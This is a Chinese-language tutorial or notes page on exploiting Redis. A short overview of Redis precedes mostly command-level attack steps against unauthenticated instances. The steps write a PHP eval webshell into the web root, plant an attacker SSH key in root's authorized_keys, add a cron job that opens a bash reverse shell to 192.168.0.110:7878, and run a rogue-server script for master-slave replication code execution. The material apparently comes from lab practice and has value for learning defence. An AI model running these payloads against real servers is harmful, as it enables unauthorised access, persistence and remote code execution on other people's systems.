# redis

Redis 是一个开源的内存数据库,它被广泛用于缓存、消息队列、会话管理等方面。Redis 支持多种数据结构,包括字符串、哈希、列表、集合、有序集合等,这使得它非常灵活且适用于各种场景。由于数据存储在内存中,Redis 具有快速的读写速度,使其成为处理实时数据和高并发请求的理想选择。此外,Redis 还提供持久化功能,可以将数据定期保存到磁盘上,以防止数据丢失。

Redis 通常用于以下几个方面:

  1. 缓存: Redis 作为缓存存储,可以帮助减轻数据库的负载,提高应用程序的响应速度。它可以存储频繁访问但不常变化的数据,例如网页内容、API 调用结果等。
  2. 会话管理: Redis 可以用来存储用户会话数据,比如用户登录信息、购物车内容等。这样可以实现分布式的会话管理,并且提供更快的访问速度和更好的可扩展性。
  3. 消息队列: Redis 的发布 / 订阅功能和列表数据结构可以用来实现简单的消息队列系统。它可以作为中间件来处理异步任务、事件通知等。
  4. 计数器和排行榜: Redis 的计数器功能可以用来实现用户活动的计数、统计以及排行榜功能,例如文章阅读数、点赞数等。
  5. 实时数据分析:由于 Redis 具有快速的读写速度和丰富的数据结构,它可以用于实时数据分析和实时监控系统,例如实时地统计网站访问量、在线用户数等。
#redis 命令
redis-cli -h IP -p 端口 -a 密码 #默认刚安装 redis 无密码
slaveof IP 端口
info #redis 信息
get key #获取键值
set key #value 设置键值
keys* #列出全部键
save #备份
config get dir #查看保存目录
config set dir 目录 #设置保存目录
config set dbfilename 文件名 #设置文件名
config get dbfilename 查看是否设置成功

# redis 未授权访问

默认情况下,Redis 在安装后不会要求设置密码。Redis 的默认配置文件通常不包含任何身份验证设置,因此在安装完成后,Redis 服务器将以无密码的方式运行。

如果端口暴露在公网且管理员没有设置密码就可以使用命令连接

./redis-cli -h IP -p 端口默认6389

image-20240508203858463

# redis 未授权写 webshell

前提知道网站绝对路径,root 权限 redis

#查看当前备份保存路径和保存文件名
config get dir
config get dbfilename
#更改保存路径记得看一下更改是否成功
config set dir /var/www/www.lu.com/#网站目录
config set dbfilename 文件名.php
set she '\n\n\<?php @eval($_POST[\'shell\']); ?>\n\n'
#备份 save
#蚁剑连接即可

# ssh-keygen 公钥写入

利用前提:redis root 运行 服务端允许密钥登陆 redis 可未授权登录

漏洞利用

ssh-keygen 公私钥生成

ssh-keygen -t rsa -C "root ssh key"

image-20240509103800381

接着把公钥文件内容复制到 txt 文件

cat ~/.ssh/id_rsa.pub > ssh_public_key.txt

image-20240509104959832

接着未授权登录 redis 写文件

#查看当前备份保存路径和保存文件名
config get dir
config get dbfilename
#更改保存路径记得看一下更改是否成功
config set dir /root/.ssh/
config set dbfilename authorized_keys
#写把公钥写入到 z 键中记得加 \n 换行
set z "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDgsa2X1zV7IfqFvR3AVBt5JPFsNJxB42Dc/RVpRrGDDsdFK5VNy9dCwP9uIaOFCRvqYgEYhNemDLH3Ok5wsvyGx5UBsEC53b3NPSJuVFGIDDFTUbXEAVso5LMbElYekPueUvITe3jChfFAmxLo6BpkrxRWtB7gRAJTh8hGx8GhOEdm1m7VOZ8DQI5uBl6QB6Z9oOE4rTWY5pA27UNupnR395QkeZzDB37uchoIkk8OS6vgm8KMZE2mY/UJqklceMAMaF6RjvpPzVDOBEY/XtCPXtIT4yzgi2UMNC50de8e6XlUYqeQ58PxozCfrOzQV4CVOLkHEW2YShhMQwU5InhM1+cVieQCsRRWvwtKknGUA4TgQsDrSaWqWJnh3QWGXyOJZhJuECcsTJ4yiNA75/ctc3T2jDMcGO6NEIYJlCOBNyG1xXHoBg0es6lNBsGlQOblelYgUQYnCXoAJPM938ZeXtuTSkxT3ES3tI8wQJeK56uSEKnleJZl4Na7SuXc69c= root ssh key\n\n\n"
#save 备份
ssh -i id_rsa root@192.168.0.107

image-20240509105746941

image-20240509114621620

image-20240509114455023

# redis 计划任务反弹 shell

在 redis 未授权登录后可写入计划任务进行反弹 shell,但是这个办法只能 centos 用 ubuntu 会乱码执行不了

0-59  0-23  1-31 1-12  0-6  command (取值范围,0表示周日一般一行对应一个任务)
config set dir /var/spool/cron/crontabs #设置为计划任务目录
config set dbfilename root
set cron "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.0.110/7878 0>&1\n\n" 
save

image-20240509131718405

# redis 主从复制 RCE

什么是主从复制,Redis 的主从复制是指将一个 Redis 节点(即主节点)的数据自动同步到其他节点(即从节点),以实现数据复制和负载均衡的目的。主节点负责写操作,从节点负责读操作;当主节点出现故障时,从节点可以接替主节点继续运行,从而提高 Redis 的可用性和容错性。

image-20240509163240505

在 Reids 4.x 之后,Redis 新增了模块功能,通过外部拓展,可以实现在 redis 中实现一个新的 Redis 命令,在两个 Redis 实例设置主从模式的时候,Redis 的主机实例可以通过 FULLRESYNC 同步文件到从机上,通过写 C 语言编译并加载恶意的 .so 文件,达到代码执行的目的。

工具 https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server

https://github.com/Dliv3/redis-rogue-server

利用前提,redis 弱口令,未授权,版本不高于 5.0.8,可远程访问不可以的话借助其他漏洞例如 ssrf

python redis_rogue_server.py -rhost 192.168.0.107  -lhost 192.168.0.110 -rport 6379 -lport 15000
两种模式"i"交互模式"r"反弹shell

image-20240509164218605